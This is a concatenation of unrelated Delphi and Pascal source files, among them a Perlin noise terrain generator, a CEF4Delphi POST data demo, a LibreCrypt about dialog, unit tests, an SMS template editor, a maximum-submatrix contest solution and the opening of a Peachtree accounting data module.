end;
Result := total;
End;
Procedure TGL2DPerlin.MakeBitmap(Param : TGLBitmap);
Var
XC, YC : Integer;
Octaver : Integer;
Posi : PByte;
B : Integer;
Value : Double;
S : String;
Begin
{$ifndef FPC}
MaxValue := -1;
MinValue := 100;
Param.Width := Width;
Param.Height := Height;
For YC := 0 to Height-1 do
Begin
Posi := BitmapScanLine(Param, YC);
For XC := 0 to Width-1 do
Begin
Value := 0;
For Octaver := 0 to FNumber_Of_Octaves-1 do
With TGL2DPerlinOctav(Octaves[Octaver]) do
Value := Value + GetPerling(XC/Scale,YC/Scale);
Value := Value+0.5;
If MaxValue < Value then
MaxValue := Value;
If MinValue > Value then
MinValue := Value;
If Value > 1.0 then
Begin
S := '';
For Octaver := 0 to FNumber_Of_Octaves-1 do
With TGL2DPerlinOctav(Octaves[Octaver]) do
S := S + FloatToStr(GetPerling(XC/Scale,YC/Scale))+' ,';
Delete(S,Length(S)-1,2);
// raise Exception.create('In Cubic_Interpolate_Strip a value greater than 1 occured! value = '+FloatToStr(Value)+' values=['+S+']');
End;
B := Round(Value * $FF) and $FF;
Posi^ := b;
inc(Integer(Posi));
End;
End;
{$ELSE}
assert(false,'MakeBitmap not supported at this time');
{$ENDIF}
End;
Procedure TGL2DPerlin.SetHeightData(heightData : THeightData);
Var
XC, YC : Integer;
Octaver : Integer;
Posi : PSmallInt;
Value : Double;
S : String;
Begin
MaxValue := -1;
MinValue := 100;
heightData.Allocate(hdtSmallInt);
Posi := @heightData.SmallIntData^[0];
For YC := 0 to Height-1 do
Begin
For XC := 0 to Width-1 do
Begin
Value := 0;
For Octaver := 0 to FNumber_Of_Octaves-1 do
With TGL2DPerlinOctav(Octaves[Octaver]) do
Value := Value + GetPerling(XC/Scale,YC/Scale);
// value = [-0,5 .. 0,5]
Posi^ := Round(Value * 256*100); //100 instead of 128 to keep it well in range!
If MaxValue < Value then
MaxValue := Value;
If MinValue > Value then
MinValue := Value;
If Value > 1.0 then
Begin
S := '';
For Octaver := 0 to FNumber_Of_Octaves-1 do
With TGL2DPerlinOctav(Octaves[Octaver]) do
S := S + FloatToStr(GetPerling(XC/Scale,YC/Scale))+' ,';
Delete(S,Length(S)-1,2);
// raise Exception.create('In Cubic_Interpolate_Strip a value greater than 1 occured! value = '+FloatToStr(Value)+' values=['+S+']');
End;
inc(PtrUInt(Posi),SizeOf(SmallInt));
End;
End;
End;
Constructor TGLPerlinHDS.Create(AOwner : TComponent);
Begin
inherited;
FLines := TStringList.Create;
FInterpolation := pi_Cosine;
FSmoothing := pi_cubic;
FPersistence := 0.4;
FNumber_Of_Octaves := 6;
MaxValue := -MaxInt;
MinValue := MaxInt;
MaxThreads := 1;
End;
procedure TGLPerlinHDS.StartPreparingData(heightData : THeightData);
Var
Perlin : TGL2DPerlin;
Thread : TGLPerlinHDSThread;
Begin
If Stall then
heightData.DataState:=hdsNone
else
heightData.DataState:=hdsPreparing;
Perlin := TGL2DPerlin.Create(Self);
Perlin.Width := HeightData.Size;
Perlin.Height := HeightData.Size;
Perlin.XStart := heightData.XLeft+XStart;
Perlin.YStart := heightData.YTop+YStart;
Perlin.Interpolation := Interpolation;
Perlin.Smoothing := Smoothing;
Perlin.Persistence := Persistence;
Perlin.Number_Of_Octaves := Number_Of_Octaves;
If MaxThreads > 1 then
Begin
Thread := TGLPerlinHDSThread.Create(True);
Thread.FreeOnTerminate := True;
heightData.Thread := Thread;
Thread.FHeightData := heightData;
Thread.Perlin := Perlin;
Thread.PerlinSource := Self;
Thread.Resume;
End else
Begin
Perlin.Generate;
Perlin.SetHeightData(heightData);
heightData.DataState:=hdsReady;
If MaxValue < Perlin.MaxValue then
MaxValue := Perlin.MaxValue;
If MinValue < Perlin.MinValue then
MinValue := Perlin.MinValue;
Perlin.Free;
end;
Lines.Add('Prepared Perlin ('+IntToStr(Perlin.XStart)+','+IntToStr(Perlin.YStart)+') size '+IntToStr(Perlin.Width));
LinesChanged := True;
End;
procedure TGLPerlinHDS.WaitFor;
Var
HDList : TList;
HD : THeightData;
XC : Integer;
Begin
Repeat
HDList := Data.LockList;
try
HD := Nil;
For XC := 0 to HDList.Count-1 do
Begin
HD := THeightData(hdList[XC]);
If HD.DataState <> hdsReady then Break;
End;
If Assigned(HD) then
If HD.DataState = hdsReady then Break;
finally
Data.UnlockList;
End;
Sleep(10);
Until False;
End;
Procedure TGLPerlinHDSThread.Execute;
Begin
Perlin.Generate;
Perlin.SetHeightData(FheightData);
FheightData.DataState:=hdsReady;
If PerlinSource.MaxValue < Perlin.MaxValue then
PerlinSource.MaxValue := Perlin.MaxValue;
If PerlinSource.MinValue < Perlin.MinValue then
PerlinSource.MinValue := Perlin.MinValue;
Perlin.Free;
end;
Procedure TGLPerlinHDSThread.OpdateOutSide;
Begin
End;
initialization
RegisterClasses([TGLPerlinHDS]);
end.
|
// ************************************************************************
// ***************************** CEF4Delphi *******************************
// ************************************************************************
//
// CEF4Delphi is based on DCEF3 which uses CEF3 to embed a chromium-based
// browser in Delphi applications.
//
// The original license of DCEF3 still applies to CEF4Delphi.
//
// For more information about CEF4Delphi visit :
// https://www.briskbard.com/index.php?lang=en&pageid=cef
//
// Copyright © 2017 Salvador Díaz Fau. All rights reserved.
//
// ************************************************************************
// ************ vvvv Original license and comments below vvvv *************
// ************************************************************************
(*
* Delphi Chromium Embedded 3
*
* Usage allowed under the restrictions of the Lesser GNU General Public License
* or alternatively the restrictions of the Mozilla Public License 1.1
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
* the specific language governing rights and limitations under the License.
*
* Unit owner : Henri Gourvest <hgourvest@gmail.com>
* Web site : http://www.progdigy.com
* Repository : http://code.google.com/p/delphichromiumembedded/
* Group : http://groups.google.com/group/delphichromiumembedded
*
* Embarcadero Technologies, Inc is not permitted to use or redistribute
* this source code without explicit permission.
*
*)
unit uPostDataInspector;
{$I cef.inc}
interface
uses
{$IFDEF DELPHI16_UP}
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.ComCtrls,
{$ELSE}
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls,
{$ENDIF}
uCEFChromium, uCEFWindowParent, uCEFInterfaces, uCEFApplication, uCEFTypes, uCEFConstants;
const
POSTDATA_MSGNAME = 'postdatainfo';
type
TPostDataInspectorFrm = class(TForm)
StatusBar1: TStatusBar;
CEFWindowParent1: TCEFWindowParent;
Chromium1: TChromium;
NavControlPnl: TPanel;
Edit1: TEdit;
GoBtn: TButton;
Timer1: TTimer;
procedure GoBtnClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Chromium1ProcessMessageReceived(Sender: TObject;
const browser: ICefBrowser; sourceProcess: TCefProcessId;
const message: ICefProcessMessage; out Result: Boolean);
procedure Chromium1AfterCreated(Sender: TObject;
const browser: ICefBrowser);
procedure Timer1Timer(Sender: TObject);
protected
procedure BrowserCreatedMsg(var aMessage : TMessage); message CEF_AFTERCREATED;
procedure WMMove(var aMessage : TWMMove); message WM_MOVE;
procedure WMMoving(var aMessage : TMessage); message WM_MOVING;
procedure WMEnterMenuLoop(var aMessage: TMessage); message WM_ENTERMENULOOP;
procedure WMExitMenuLoop(var aMessage: TMessage); message WM_EXITMENULOOP;
public
{ Public declarations }
end;
var
PostDataInspectorFrm: TPostDataInspectorFrm;
procedure GlobalCEFApp_OnBeforeNavigation(const browser : ICefBrowser;
const frame : ICefFrame;
const request : ICefRequest;
navigationType : TCefNavigationType;
isRedirect : Boolean;
var aStopNavigation : boolean);
implementation
{$R *.dfm}
uses
uCEFRenderProcessHandler, uCEFProcessMessage;
// This demo shows an alternative way to inspect the POST data in read only mode.
// This data is not always available in the request of TChromium.OnBeforeBrowse
// so this demo uses the TCefCustomRenderProcessHandler.OnBeforeNavigationEvent event
// and sends the results in a process message.
// That message is received in the Chromium1ProcessMessageReceived function.
// If you need more control over the POST data register an scheme.
// See the SchemeRegistrationBrowser demo.
procedure GlobalCEFApp_OnBeforeNavigation(const browser : ICefBrowser;
const frame : ICefFrame;
const request : ICefRequest;
navigationType : TCefNavigationType;
isRedirect : Boolean;
var aStopNavigation : boolean);
var
msg: ICefProcessMessage;
TempString : string;
begin
aStopNavigation := False;
if (request = nil) then
TempString := 'no request'
else
if (request.postdata = nil) then
TempString := 'no postdata'
else
TempString := 'postdata elements : ' + inttostr(request.postdata.GetCount);
msg := TCefProcessMessageRef.New(POSTDATA_MSGNAME);
msg.ArgumentList.SetString(0, TempString);
browser.SendProcessMessage(PID_BROWSER, msg);
end;
procedure TPostDataInspectorFrm.Chromium1AfterCreated(Sender: TObject; const browser: ICefBrowser);
begin
PostMessage(Handle, CEF_AFTERCREATED, 0, 0);
end;
procedure TPostDataInspectorFrm.Chromium1ProcessMessageReceived(
Sender: TObject; const browser: ICefBrowser;
sourceProcess: TCefProcessId; const message: ICefProcessMessage;
out Result: Boolean);
begin
Result := False;
if (message = nil) or (message.ArgumentList = nil) then exit;
// Many of these events are received in different threads and the VCL
// doesn't like to create and destroy components in different threads.
// It's safer to store the results and send a message to the main thread to show them.
// The message names is also used in the ProcessHandler_OnBeforeNavigationEvent function of the DPR file.
if (message.Name = POSTDATA_MSGNAME) then
begin
StatusBar1.Panels[0].Text := message.ArgumentList.GetString(0); // this doesn't create/destroy components
Result := True;
end;
end;
procedure TPostDataInspectorFrm.FormShow(Sender: TObject);
begin
// GlobalCEFApp.GlobalContextInitialized has to be TRUE before creating any browser
// If it's not initialized yet, we use a simple timer to create the browser later.
if not(Chromium1.CreateBrowser(CEFWindowParent1, '')) then Timer1.Enabled := True;
end;
procedure TPostDataInspectorFrm.GoBtnClick(Sender: TObject);
begin
Chromium1.LoadURL(Edit1.Text);
end;
procedure TPostDataInspectorFrm.Timer1Timer(Sender: TObject);
begin
Timer1.Enabled := False;
if not(Chromium1.CreateBrowser(CEFWindowParent1, '')) and not(Chromium1.Initialized) then
Timer1.Enabled := True;
end;
procedure TPostDataInspectorFrm.WMMove(var aMessage : TWMMove);
begin
inherited;
if (Chromium1 <> nil) then Chromium1.NotifyMoveOrResizeStarted;
end;
procedure TPostDataInspectorFrm.WMMoving(var aMessage : TMessage);
begin
inherited;
if (Chromium1 <> nil) then Chromium1.NotifyMoveOrResizeStarted;
end;
procedure TPostDataInspectorFrm.WMEnterMenuLoop(var aMessage: TMessage);
begin
inherited;
if (aMessage.wParam = 0) and (GlobalCEFApp <> nil) then GlobalCEFApp.OsmodalLoop := True;
end;
procedure TPostDataInspectorFrm.WMExitMenuLoop(var aMessage: TMessage);
begin
inherited;
if (aMessage.wParam = 0) and (GlobalCEFApp <> nil) then GlobalCEFApp.OsmodalLoop := False;
end;
procedure TPostDataInspectorFrm.BrowserCreatedMsg(var aMessage : TMessage);
begin
CEFWindowParent1.UpdateSize;
NavControlPnl.Enabled := True;
GoBtn.Click;
end;
end.
|
unit frmAbout;
// Description: About Dialog
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.FreeOTFE.org/
//
// -----------------------------------------------------------------------------
//
// layer 2
interface
uses
//delphi and 3rd party libs - layer 0
Classes, Controls, Dialogs,
ExtCtrls,
Forms, Graphics, Messages, StdCtrls,
SysUtils, Windows,
//sdu - layer 1
SDUForms, SDUStdCtrls,
//LibreCrypt utils -also layer 1
OTFEFreeOTFEBase_U
// LibreCrypt forms - layer 2
//main form - layer 3
;
type
TfrmAbout = class (TForm)
pbOK: TButton;
imgIcon: TImage;
lblAppID: TLabel;
lblDescription: TLabel;
lblBeta: TLabel;
lblDriverVersion: TLabel;
lblAuthor: TLabel;
SDUURLLabel1: TSDUURLLabel;
lblTranslatorCredit: TLabel;
Label1: TLabel;
SDUURLLabel2: TSDUURLLabel;
SDUURLLabel3: TSDUURLLabel;
SDUURLLabel4: TSDUURLLabel;
SDUURLLabel5: TSDUURLLabel;
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
PROTECTED
// procedure SetDescription(value: String);
PUBLIC
end;
const
{$IFDEF FREEOTFE_MAIN}
APP_DESCRIPTION = 'LibreCrypt: Open-Source Transparent Encryption';
{$ELSE}
APP_DESCRIPTION =
'LibreCrypt Explorer: Access containers without administrator rights';
{$ENDIF}
implementation
{$R *.DFM}
uses
//delphi and 3rd party libs - layer 0
ShellApi, // Needed for ShellExecute
CommonConsts,
//sdu & LibreCrypt utils - layer 1
SDUGeneral,
SDUi18n,
lcConsts // for APP_BETA_BUILD
// LibreCrypt forms - layer 2
//main form - layer 3
;
procedure TfrmAbout.FormCreate(Sender: TObject);
begin
lblDescription.Caption := _(APP_DESCRIPTION);
end;
procedure TfrmAbout.FormShow(Sender: TObject);
const
CONTROL_MARGIN = 10;
var
majorVersion: Integer;
minorVersion: Integer;
revisionVersion: Integer;
buildVersion: Integer;
OTFEVersion: String;
// descAdjustDown: Integer;
begin
self.Caption := Format(_('About %s'), [Application.Title]);
// lblTitle.Caption := Application.Title;
// lblAppID.left := lblTitle.left + lblTitle.Width + CONTROL_MARGIN;
// lblTranslatorCredit.Visible := False;
if ((SDUGetCurrentLanguageCode() <> '') and not
(SDUIsLanguageCodeEnglish(SDUGetCurrentLanguageCode()))) then begin
// lblTranslatorCredit.Visible := True;
lblTranslatorCredit.Caption :=
Format(_('%s translation by %s'), [_(CONST_LANGUAGE_ENGLISH), SDUGetTranslatorName()]);
end;
imgIcon.Picture.Assign(Application.Icon);
SDUGetVersionInfo('', majorVersion, minorVersion, revisionVersion, buildVersion);
lblAppID.Caption := 'v' + SDUGetVersionInfoString('');
if APP_BETA_BUILD > -1 then begin
lblAppID.Caption := lblAppID.Caption + ' BETA ' + IntToStr(APP_BETA_BUILD);
end;
lblBeta.Visible := (APP_BETA_BUILD > -1);
if GetFreeOTFEBase().Active then begin
OTFEVersion := GetFreeOTFEBase().VersionStr();
if (OTFEVersion <> '') then begin
OTFEVersion := Format(_('FreeOTFE driver: %s'), [OTFEVersion]);
end;
end else begin
OTFEVersion := _('The main LibreCrypt driver is either not installed, or not started');
end;
// Some translated languages may increase the number of lines the
// description takes up. Here we increase the height of the dialog to
// compensate, and nudge the controls below it down
{
descAdjustDown := (lblDescription.Top + lblDescription.Height + CONTROL_MARGIN) -
pnlDividerUpper.Top;
self.Height := self.Height + descAdjustDown;
pnlDividerUpper.Top := pnlDividerUpper.Top + descAdjustDown;
SDUURLLabel1.Top := SDUURLLabel1.Top + descAdjustDown;
pnlDividerLower.Top := pnlDividerLower.Top + descAdjustDown;
lblDriverVersion.Top := lblDriverVersion.Top + descAdjustDown;
pbOK.Top := pbOK.Top + descAdjustDown;
SDUCenterControl(lblDescription, ccHorizontal); }
lblDriverVersion.Caption := OTFEVersion;
// SDUCenterControl(lblDriverVersion, ccHorizontal);
// pnlDividerUpper.Caption := '';
// pnlDividerLower.Caption := '';
end;
end.
|
unit IntegerLogNTest;
{$mode objfpc}{$H+}
interface
uses
fpcunit,
testregistry,
uIntX;
type
{ TTestIntegerLogN }
TTestIntegerLogN = class(TTestCase)
published
procedure LogNBase10();
procedure LogNBase2();
end;
implementation
procedure TTestIntegerLogN.LogNBase10();
var
base, number: TIntX;
begin
base := 10;
number := 100;
AssertTrue(TIntX.IntegerLogN(base, number) = 2);
base := TIntX.Create(10);
number := TIntX.Create(10);
AssertTrue(TIntX.IntegerLogN(base, number) = 1);
base := TIntX.Create(10);
number := TIntX.Create(500);
AssertTrue(TIntX.IntegerLogN(base, number) = 2);
base := TIntX.Create(10);
number := TIntX.Create(1000);
AssertTrue(TIntX.IntegerLogN(base, number) = 3);
end;
procedure TTestIntegerLogN.LogNBase2();
var
base, number: TIntX;
begin
base := 2;
number := 100;
AssertTrue(TIntX.IntegerLogN(base, number) = 6);
base := TIntX.Create(2);
number := TIntX.Create(10);
AssertTrue(TIntX.IntegerLogN(base, number) = 3);
base := TIntX.Create(2);
number := TIntX.Create(500);
AssertTrue(TIntX.IntegerLogN(base, number) = 8);
base := TIntX.Create(2);
number := TIntX.Create(1000);
AssertTrue(TIntX.IntegerLogN(base, number) = 9);
end;
initialization
RegisterTest(TTestIntegerLogN);
end.
|
unit Dialog_EditSmsx;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, RzEdit, Mask, RzLabel,Class_Smsx;
type
TDialogEditSmsxEditMode=(desemEdit,desemAddx);
TDialogEditSmsx = class(TForm)
Labl_1: TRzLabel;
Labl_2: TRzLabel;
Edit_Name: TRzEdit;
Memo_Smsx: TRzMemo;
Btnx_1: TButton;
Btnx_Quit: TButton;
procedure Btnx_QuitClick(Sender: TObject);
procedure Btnx_1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
FActvSmsx:TSmsx;
FEditMode:TDialogEditSmsxEditMode;
protected
procedure SetInitialize;
procedure SetCommParams;
procedure SetGridParams;
protected
function CheckLicit:Boolean;
procedure InsertDB;
procedure UpdateDB;
procedure DoSaveDB;
public
end;
var
DialogEditSmsx: TDialogEditSmsx;
function FuncEditSmsx(AEditMode:TDialogEditSmsxEditMode;AActvSmsx:TSmsx):Integer;
implementation
uses
UtilLib;
{$R *.dfm}
function FuncEditSmsx(AEditMode:TDialogEditSmsxEditMode;AActvSmsx:TSmsx):Integer;
begin
try
DialogEditSmsx:=TDialogEditSmsx.Create(nil);
DialogEditSmsx.FEditMode:=AEditMode;
DialogEditSmsx.FActvSmsx:=AActvSmsx;
Result:=DialogEditSmsx.ShowModal;
finally
FreeAndNil(DialogEditSmsx);
end;
end;
procedure TDialogEditSmsx.Btnx_QuitClick(Sender: TObject);
begin
ModalResult:=mrCancel;
end;
procedure TDialogEditSmsx.Btnx_1Click(Sender: TObject);
begin
DoSaveDB;
end;
procedure TDialogEditSmsx.DoSaveDB;
begin
if not CheckLicit then Exit;
case FEditMode of
desemEdit:UpdateDB;
desemAddx:InsertDB;
end;
ModalResult:=mrOk;
end;
procedure TDialogEditSmsx.InsertDB;
var
SmsxA:TSmsx;
begin
SmsxA:=TSmsx.Create;
//KAZARUS:TO BE PREFECT
SmsxA.UnitLink:='-1';
SmsxA.SmsxType:=1;
SmsxA.SmsxIdex:=SmsxA.GetNextIdex;
SmsxA.SmsxName:=Trim(Edit_Name.Text);
SmsxA.SmsxText:=Trim(Memo_Smsx.Text);
SmsxA.InsertDB;
FreeAndNil(SmsxA);
end;
procedure TDialogEditSmsx.UpdateDB;
begin
if ShowBox('是否确定更新该短信模板?')<>Mrok then Exit;
FActvSmsx.SmsxName:=Trim(Edit_Name.Text);
FActvSmsx.SmsxText:=Trim(Memo_Smsx.Text);
FActvSmsx.UpdateDB;
end;
function TDialogEditSmsx.CheckLicit: Boolean;
begin
Result:=False;
if Trim(Edit_Name.Text)='' then
begin
ShowMessage('请填写短信模板名称.');
Exit;
end;
if Trim(Memo_Smsx.Text)='' then
begin
ShowMessage('请填写短信模板内容.');
Exit;
end;
Result:=True;
end;
procedure TDialogEditSmsx.SetCommParams;
begin
Caption:='短信编辑';
if FActvSmsx<>nil then
begin
if FActvSmsx.SmsxType=0 then
begin
Edit_Name.ReadOnly:=True;
Edit_Name.ReadOnlyColor:=clWindow;
end;
end;
end;
procedure TDialogEditSmsx.SetGridParams;
begin
end;
procedure TDialogEditSmsx.SetInitialize;
begin
SetCommParams;
SetGridParams;
if FEditMode=desemEdit then
begin
if FActvSmsx<>nil then
begin
Edit_Name.Text:=FActvSmsx.SmsxName;
Memo_Smsx.Text:=FActvSmsx.SmsxText;
end;
end;
end;
procedure TDialogEditSmsx.FormShow(Sender: TObject);
begin
SetInitialize;
end;
end.
|
// RemObjects CS to Pascal 0.1
namespace UT3Bots.UTItems;
interface
uses
System,
System.Collections.Generic,
System.Linq,
System.Text,
System.ComponentModel;
type
UTObject = public class(INotifyPropertyChanged)
protected
var _id: UTIdentifier;
var _location: UTVector;
method OnPropertyChanged(propName: String);virtual;
public
//Constructor
constructor(Id: UTIdentifier; Location: UTVector);
/// <summary>
/// The unique UT3 game Id of this object
/// </summary>
property Id: UTIdentifier read get_Id;
method get_Id: UTIdentifier;
/// <summary>
/// The 3D Vector of this object's position in the game
/// </summary>
property Location: UTVector read get_Location write set_Location;
method get_Location: UTVector;
method set_Location(value: UTVector);
event PropertyChanged: PropertyChangedEventHandler;
end;
implementation
method UTObject.OnPropertyChanged(propName: String);
begin
if PropertyChanged <> nil then
begin
PropertyChanged(Self, new PropertyChangedEventArgs(propName));
end;
end;
constructor UTObject(Id: UTIdentifier; Location: UTVector);
begin
Self._id := Id;
Self._location := Location
end;
method UTObject.get_Id: UTIdentifier;
begin
Result := Self._id
end;
method UTObject.get_Location: UTVector;
begin
Result := Self._location
end;
method UTObject.set_Location(value: UTVector);
begin
Self._location := value;
OnPropertyChanged('Location')
end;
end.
|
unit AListBoxHelper;
interface
uses
Classes, Types, FMX.ListBox, FMX.Types;
Const
CLastCheckPointTimerInterval = 150;
type
TListBoxScrollEvent = procedure(Sender: TObject; ABegIndex, AEndIndex: Integer) of object;
TListBoxScrollDetector = class
public
procedure ViewportPositionChangeFired(Sender: TObject; const OldViewportPosition, NewViewportPosition: TPointF; const ContentSizeChanged: Boolean);
private
FListBox: TListBox;
FListBoxItemCount: Integer;
FOnAir: Boolean;
FLastCheckPoint: TDateTime;
FLastCheckPointTimer: TTimer;
FUpdatePoint: Integer;
FCanNotifyUpdatePoint: Boolean;
FOldViewportPosition, FNewViewportPosition: TPointF;
FOnScrollBegin: TListBoxScrollEvent;
FOnScroll: TListBoxScrollEvent;
FOnScrollEnd: TListBoxScrollEvent;
procedure FireOnScrollBegin;
procedure FireOnScroll;
procedure FireOnScrollEnd;
procedure OnLastCheckPointTimerFired(Sender: TObject);
public
constructor Create(AListBox: TListBox);
public
property UpdatePoint: Integer write FUpdatePoint;
property OnScrollBegin: TListBoxScrollEvent write FOnScrollBegin;
property OnScroll: TListBoxScrollEvent write FOnScroll;
property OnScrollEnd: TListBoxScrollEvent write FOnScrollEnd;
end;
function CreateListBoxItem(AHeight: Single; AListBox: TListBox): TListBoxItem;
implementation
uses
SysUtils, FMX.Dialogs;
function CreateListBoxItem(AHeight: Single; AListBox: TListBox): TListBoxItem;
var
LItem: TListBoxItem;
begin
LItem := TListBoxItem.Create(nil); begin
LItem.Height := AHeight;
AListBox.AddObject(LItem);
end;
Result := LItem;
end;
{ TListBoxScrollDetector }
procedure TListBoxScrollDetector.ViewportPositionChangeFired(Sender: TObject; const OldViewportPosition, NewViewportPosition: TPointF; const ContentSizeChanged: Boolean);
begin
FLastCheckPoint := Now;
FOldViewportPosition := OldViewportPosition;
FNewViewportPosition := NewViewportPosition;
if FOnAir = False then begin
FOnAir := True;
FireOnScrollBegin;
FLastCheckPointTimer.Enabled := True;
end
else begin
FireOnScroll;
// if NewViewportPosition.Y > FListBox.ContentBounds.Height - FListBox.Height then
// showmessage('End');
end;
end;
constructor TListBoxScrollDetector.Create(AListBox: TListBox);
begin
FListBox := AListBox; begin
FListBox.OnViewportPositionChange := ViewportPositionChangeFired;
FListBoxItemCount := FListBox.Items.Count;
FUpdatePoint := 75;
FCanNotifyUpdatePoint := True;
end;
FLastCheckPointTimer := TTimer.Create(nil); begin
FLastCheckPointTimer.Interval := CLastCheckPointTimerInterval;
FLastCheckPointTimer.OnTimer := OnLastCheckPointTimerFired;
end;
end;
procedure TListBoxScrollDetector.FireOnScrollBegin;
var
LTopItem: TListBoxItem;
LBottomItem: TListBoxItem;
LTopItemIndex: Integer;
LBottomItemIndex: Integer;
begin
if Assigned(FOnScrollBegin) then begin
LTopItem := FListBox.ItemByPoint(1, 0);
LBottomItem := FListBox.ItemByPoint(1, FListBox.Size.Height - 1);
LTopItemIndex := -1; if Assigned(LTopItem) then LTopItemIndex := LTopItem.Index;
LBottomItemIndex := -1; if Assigned(LBottomItem) then LBottomItemIndex := LBottomItem.Index;
FOnScrollBegin(nil, LTopItemIndex, LBottomItemIndex);
end;
end;
procedure TListBoxScrollDetector.FireOnScroll;
var
// LTopItem: TListBoxItem;
LBottomItem: TListBoxItem;
// LTopItemIndex: Integer;
LBottomItemIndex: Integer;
begin
if Assigned(FOnScroll) and FCanNotifyUpdatePoint then begin
// LTopItem := FListBox.ItemByPoint(1, 0);
LBottomItem := FListBox.ItemByPoint(1, FListBox.Size.Height - 1);
// LTopItemIndex := -1; if Assigned(LTopItem) then LTopItemIndex := LTopItem.Index;
LBottomItemIndex := -1; if Assigned(LBottomItem) then LBottomItemIndex := LBottomItem.Index;
if LBottomItemIndex + 5 > FListBox.Items.Count then begin
FCanNotifyUpdatePoint := False;
FOnScroll(nil, -1, -1);
end;
end;
end;
procedure TListBoxScrollDetector.FireOnScrollEnd;
var
LTopItem: TListBoxItem;
LBottomItem: TListBoxItem;
LTopItemIndex: Integer;
LBottomItemIndex: Integer;
begin
if Assigned(FOnScrollEnd) then begin
LTopItem := FListBox.ItemByPoint(1, 0);
LBottomItem := FListBox.ItemByPoint(1, FListBox.Size.Height - 1);
LTopItemIndex := -1; if Assigned(LTopItem) then LTopItemIndex := LTopItem.Index;
LBottomItemIndex := -1; if Assigned(LBottomItem) then LBottomItemIndex := LBottomItem.Index;
FOnScrollEnd(nil, LTopItemIndex, LBottomItemIndex);
end;
end;
procedure TListBoxScrollDetector.OnLastCheckPointTimerFired(Sender: TObject);
begin
if FOnAir then begin
if FLastCheckPoint + EncodeTime(0, 0, 0, CLastCheckPointTimerInterval) < Now then begin
FireOnScrollEnd; FOnAir := False;
end;
if FListBoxItemCount <> FListBox.Items.Count then
FCanNotifyUpdatePoint := True;
end
else
FLastCheckPointTimer.Enabled := False;
end;
end.
|
{$B-,I-,Q-,R-,S-}
{$M 16384,0,655360}
{ 28þ [MAXIMA SUMA] Veszpr‚m '96
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Dado un arreglo de dos dimensiones de enteros positivos y negativos,
encontrar el rect ngulo con la mayor suma. La suma de un rect ngulo
es la suma de todos los elementos en ese rect ngulo. En este
problema el sub-arreglo con la mayor suma, es nombrado
"sub-rect ngulo m ximo". Un sub-rect ngulo es alg£n sub-arreglo
contiguo de tama¤o 1x1 ¢ mayor, localizado dentro del arreglo
completo.
Como ejemplo, el sub-rect ngulo m ximo del arreglo :
0 -2 -7 0
9 2 -6 2 9 2
-4 1 -4 1 -4 1 ( esquina inferior izquierda y tiene
-1 8 0 -2 -1 8 suma igual a 15 )
Entrada:
Consiste en un arreglo de NxN enteros. La entrada comienza con un
entero positivo N en la l¡nea, indicando el tama¤o del arreglo
bidimensional cuadrado. Esta es seguida por N^2 enteros separados
por una espacio en blanco. Estos N^2 enteros forman el arreglo
bidimensional de N filas y N columnas. N puede ser tan largo como
100. Los n£meros en el arreglo estar n en el rango de -127 a 127.
Salida:
La salida es la suma del sub-rect ngulo m ximo.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄ¿
³Entrada: ³ ³ Salida:³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄ´
³4 ³ ³ 15 ³
³0 -2 -7 0 ³ ÀÄÄÄÄÄÄÄÄÙ
³9 2 -6 2 ³
³-4 1 -4 1 ³
³-1 8 0 -2 ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
}
const
max = 101;
var
fe,fs : text;
n,sol : longint;
tab : array[0..max,0..max] of shortint;
suma : array[0..max] of longint;
procedure open;
var
i,j : longint;
begin
assign(fe,'hun028.in'); reset(fe);
assign(fs,'hun028.out'); rewrite(fs);
readln(fe,n);
for i:=1 to n do
begin
for j:=1 to n do
read(fe,tab[i,j]);
readln(fe);
end;
close(fe);
end;
procedure work;
var
i,j,k,act : longint;
begin
sol:=-maxlongint;
for i:=1 to n do
begin
fillchar(suma,sizeof(suma),0);
for j:=i to n do
begin
act:=0;
for k:=1 to n do
begin
suma[k]:=suma[k] + tab[j,k];
act:=act + suma[k];
if act > sol then
sol:=act;
if act < 0 then
act:=0;
end;
end;
end;
end;
procedure closer;
begin
writeln(fs,sol);
close(fs);
end;
begin
open;
work;
closer;
end. |
unit uDMPeachtree;
interface
uses
SysUtils, Classes, PAW_TLB, Messages, Dialogs, DB, DBClient;
const
RESULT_OPERATION_SUCCEED = 0;
RESULT_KEY_NOT_FOUND = 4;
RESULT_DUPLICATED_KEY = 5;
RESULT_INVALID_KEY_NO = 6;
RESULT_NO_MORE_RECORDS = 9;
RESULT_INVALID_FILENAME = 11;
RESULT_FILE_NOT_FOUND = 12;
RESULT_CURRUPTED_RECORD = 22;
RESULT_FILE_IN_USE = 85;
type
TCompanyInfo = class
Version : Double;
CompanyName : String;
AddrLine : String;
AddrCity : String;
AddrState : String;
AddrPostalCode : String;
AddrCountry : String;
Telephone : String;
Fax : String;
BusinessType : String;
end;
TSale = class
Amount : Currency;
InvoiceNumber : String;
SalesTaxCode : String;
GLMainAccount : String;
CashAccount : String;
NRecord : Integer;
end;
TCustomerInfo = class
index : Integer;
CustomerID : String;
BillToAddress1 : String;
BillToCity : String;
BillToCountry : String;
BillToName : String;
BillToState : String;
BillToZipCode : String;
Contact : String;
CustomerSinceDate : TDateTime;
CustomerType : String;
Email : String;
Fax : String;
Web : String;
Tel1 : String;
SalesRepID : String;
end;
